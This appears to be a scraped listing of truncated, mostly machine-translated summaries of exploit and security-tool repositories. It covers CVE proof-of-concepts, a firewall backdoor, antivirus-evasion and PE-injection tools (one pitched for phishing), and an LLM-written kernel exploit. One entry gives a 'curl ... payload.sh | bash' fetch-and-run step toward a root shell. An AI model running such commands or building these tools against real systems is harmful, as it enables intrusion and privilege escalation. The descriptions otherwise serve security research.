CVE-2022-40769---Profanity

DONATE: bc1qps62cyk9f9unmdkc9k3ccj9e2h8ywfhg2j53ec Built with ❤️ for the crypto research community. ============================================================ CVE-2023-39910 + CVE-2022-40769 - キー生成ツール → TXT 説明:...

CVE-2024-6387

0. 要約 これは本質的には統計的な脆弱性です。競合状態に勝利して任意のコードを実行するには、非常に多くの試行が必要です。「攻撃者は多くの障害を克服しなければならない」とSchwartz氏はSecurityWeekに語っています。最良の場合でも、最もよく知られた脆弱性の実行には4時間以上かかります。 OpenSSH 9.8のリリースノートで、開発者らはこの脆弱性がglibcベースの32ビットLinuxシステムでのみ確認されており、OpenBSDは影響を受けないと述べています。 1. 環境セットアップ 環境セットアップではDockerを使用します。 1.1. Dockerfileの作成...

cuckoo-modified

이것은 GPL 하에 제공되는 Cuckoo Sandbox의 대폭 수정된 버전입니다. 이는 업스트림 Cuckoo에 비해 여러 장점을 제공합니다: 완전 정규화된 파일 및 레지스트리 이름 64비트 분석 WoW64 파일시스템 리다이렉션 처리 추가적인 많은 API 후크 서비스 모니터링 API 호출을 악성코드 호출 체인과 연계 APC 인젝션 및 스텔스 익스플로러 인젝션 추적 기능 보기 좋게 출력된 API 플래그 분석별 Tor 지원 150개 이상의 새로운 시그니처 모듈 75개 이상 내장된 안티-안티-샌드박스 및 안티-안티-VM 기술 더 안정...

CVE_2022_46395_Gazelle

CVE-2022-46395 のエクスプロイト（FireTV 第3世代Cube用） これはセキュリティ研究者 Man Yue Mo 氏の Pixel 6 POC をフォークしたものです。脆弱性に関する彼の詳細な解説はこちらをご覧ください。FireOS の32ビットユーザースペースに対応するために変更が加えられています。このPOCはARM Maliカーネルドライバのバグを悪用して任意のカーネルコード実行を獲得し、その後SELinuxを無効化してrootを取得します。 このエクスプロイトは PS7664/3772（2023年9月）で修正されました。参考までに、以下のコマンドで ndk-21 ...

ios-malicious-bithunter

iOS Malicious Bit Hunter Abstract iOS Malicious Bit Hunter is a malicious plug-in detection engine for iOS applications. It can analyze the head of the macho file of the injected dylib dynamic library based on runtime, and can perform behavior analysis through interface input characteristics to...

ios-malicious-bithunter

iOS 악성 비트 헌터 개요 iOS 악성 비트 헌터는 iOS 애플리케이션을 위한 악성 플러그인 탐지 엔진입니다. 런타임에 주입된 dylib 동적 라이브러리의 macho 파일 헤더를 분석할 수 있으며, 인터페이스 입력 특성을 통해 행동 분석을 수행하여 동적 라이브러리 특징의 동작을 판단합니다. 이 프로그램은 탈옥 환경에 의존하지 않으며 AppStore에서 사용할 수 있습니다. 새로운 기능 이는 iOS 악성 코드의 동작을 정확하게 식별하는 새로운 방법입니다. 앱 내 Mach-O 형식을 기반으로 메모리에서 실행 중인 악성 코드를...

CVE-2024-14027_slop

CVE-2024-14027 - SlopSploit エクスプロイトは、Qemu Debian インストール上の 6.6.51 でテストされました。 exploit.c - シャドウファイルを漏洩します。 exploitdc.c - ダブルクローズ手法を用いてルートシェルを取得するデモです。 WRITEUP.md - LLM が生成した解説です。 これは、LLM（Opus 4.6）を用いて、解放された同一タイプのオブジェクトを再割り当て・再利用できることに起因する、ユニークな種類のカーネル脆弱性を悪用する実験でした（grsecurity による詳細）。 この結果は、LLM...

iptable_evil

iptableevil iptableevil는 iptables를 위한 매우 특수한 백도어로, 악의 플래그evil bit가 설정된 모든 패킷을 방화벽 규칙에 관계없이 허용합니다. 첫 번째 구현은 iptableevil.c에 있으며, iptables에 테이블을 추가하고 커널 헤더를 수정하여 자리를 확보해야 합니다. 두 번째 구현은 iptables 코어 모듈과 그 종속 모듈을 수정한 버전으로, 모든 악의 패킷을 허용합니다. Linux 커널 버전 5.8.0-48에서 테스트했지만, iptables의 완전한 구현이 있는 거의 모든 커널 버전...

cve-2026-42945-nginx32-lab

CVE-2026-42945 nginx 32-bit エクスプロイト実験環境 このリポジトリは、nginx 1.30.0 における CVE-2026-42945 を研究するための再現可能な Docker ラボです。脆弱な 32 ビットターゲット、プリミティブトリガー、ラボ支援型の既知アドレス RCE バリデータ、および内部情報を使用しないブルートフォースドライバが含まれています。 証明の境界が重要です: exploit/triggeroob.py は、ヒープ OOB 書き込みプリミティブを示します。 exploit/labknownaddress.py は、Docker 内で RCE...

iovyroot

iovyroot CVE-2015-1805脆弱性に基づくルートツール 32ビットと64ビットをサポートしますが、絶対カーネルアドレスが必要です（offsets.cを参照） pocはidler1984によって作成されました https://github.com/idl3r/testcode...

ROPInjector

ROPInjector C Win32로 작성된 도구로, 모든 셸코드를 ROP로 변환하여 지정된 포터블 실행 파일PE에 패치합니다. 32비트 대상 PE와 x86 명령어 집합만 지원합니다. Blackhat USA 2015에서 발표됨, "ROPInjector: Using Return Oriented Programming for Polymorphism and Antivirus Evasion" 자세한 정보: 백서...

InfectPE

このツールを使用すると、x-code/シェルコードをPEファイルに注入できます。 InjectPEは32ビットの実行可能ファイルでのみ動作します。 InjectPEが必要な理由 セキュリティ製品をテストできます。 フィッシングキャンペーンで使用できます。 PEインジェクションの仕組みを学習できます。 …などなど。 プロジェクトにはMessageBoxAのハードコードされたx-codeが含まれています。変更可能です。 ダウンロード Windows x86 バイナリ - デモ専用のハードコードされたMessageBoxA x-code。 依存関係: vcredist.x86 -...

HiTMS_steganography

HiTMS: 高スループット・マルチストリーム言語ステガノグラフィフレームワーク LLMチャット対話における言語ステガノグラフィ の研究用コードです。単一ストリームのベースラインと、複数の独立した秘密メッセージを同時に隠し、GPUバッチ処理を活用してはるかに高いスループットを実現するバッチ型マルチストリーム（HiTMS）プロトコルを含みます。 Bob モデルが質問し、 Alice...

CVE-2024-8743-PoC

CVE-2024-8743 PoC Background WordPressプラグイン Bit File Manager バージョン 6.5.7 以下における、認証済み（購読者以上）限定JavaScriptファイルアップロード（CVE-2024-8743）脆弱性の Proof-of-Concept スクリプト Information 説明: WordPressプラグイン「Bit File Manager – 100% Free & Open Source File Manager and Code Editor for WordPress」は、バージョン 6.5.7...

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

CVE-2021-30357CheckPointSNXVPNPoC CheckPoint SNX VPN Linux Client を介した特権ファイル読み取りの概念実証 PoC。 影響を受けるバージョン CheckPointVPNSNXLinux800007075.sh MD5 チェックサム: 4372e9936e2dfb1d1ebcef3ed4dd7787 エクスプロイト 悪用するには、-f パラメータを使用して任意のファイルを SNX 設定として読み込むだけです。ファイルが有効な SNX 設定でない場合、エラーがスローされ構文エラーが表示され、文字列終端文字が見つかるまで 例:...

challenge_repo

🎲 엔트로피 챌린지 🇬🇧 영어로 읽기 | 🇹🇷 Türkçe Oku 소개 우리는 무선 주파수RF 노이즈 를 독점적인 신경망 아키텍처 를 통해 처리한 후 SHA-3 후처리를 적용하는 차세대 난수 생성기를 개발했습니다. 우리는 이 소스가 이상적인 노이즈 소스와 구별할 수 없는 진정한 무작위성 품질을 제공한다고 주장합니다. 우리는 출력물과 검증 보고서를 공개합니다—하지만 소스 코드는 공개하지 않습니다. 도전 과제는 간단합니다: 우리가 틀렸다는 것을 증명하세요. 데이터 샘플 파일: data/randomsample.bin 17 MB 품질:...

bugstropics

在热带地区猎捕漏洞 这是我在 DEFCON30 上所做的演讲「在热带地区猎捕漏洞」所使用的幻灯片仓库。其中包含一个 Python 脚本，用于根据破解 Aruba 支持部门 EC 公钥（因其强度过弱，仅为 64 位）所获得的私钥来计算支持密码。这使你可以从这些设备上的子 shell 中逃逸出来，并获得完整的 root shell。 你可以通过在 AP CLI 上运行 support 并提供任意用户名来使用它： root@kitploit: support Username Please enter with @domain.com, in lowercase: a Token:...

avml

AVML Acquire Volatile Memory for Linux Summary A portable volatile memory acquisition tool for Linux. AVML is an X8664 userland volatile memory acquisition tool written in Rust, intended to be deployed as a static binary. AVML can be used to acquire memory without knowing the target OS distributi...

stegcrack

Stegcrack Stegcrack 是一个开源程序，用于利用 Steghide 中的一个漏洞（具体为 CVE-2021-27211）。 Stegcrack 检测给定文件是否包含使用 Steghide 隐藏的数据，并且有时可以在无需密码的情况下完全提取隐藏数据。 安装 克隆此仓库 root@kitploit: git clone https://github.com/b4shfire/stegcrack 进入源代码目录 root@kitploit: cd stegcrack/src 编译程序 root@kitploit: clang++ main.cc utils.cc...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC 바이너리 빌드: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme bash 스크립트 실행: root@kitploit: bash exploit.sh 대상 머신에서 쓰기 가능한 디렉토리에서 실행: root@kitploit: curl http://:8000/payload.sh | bash 자동으로 nvme 바이너리를 다운로드하고, 경로를 설정하고, ndsudo를 실행한 후 /bin/bash에 SUID...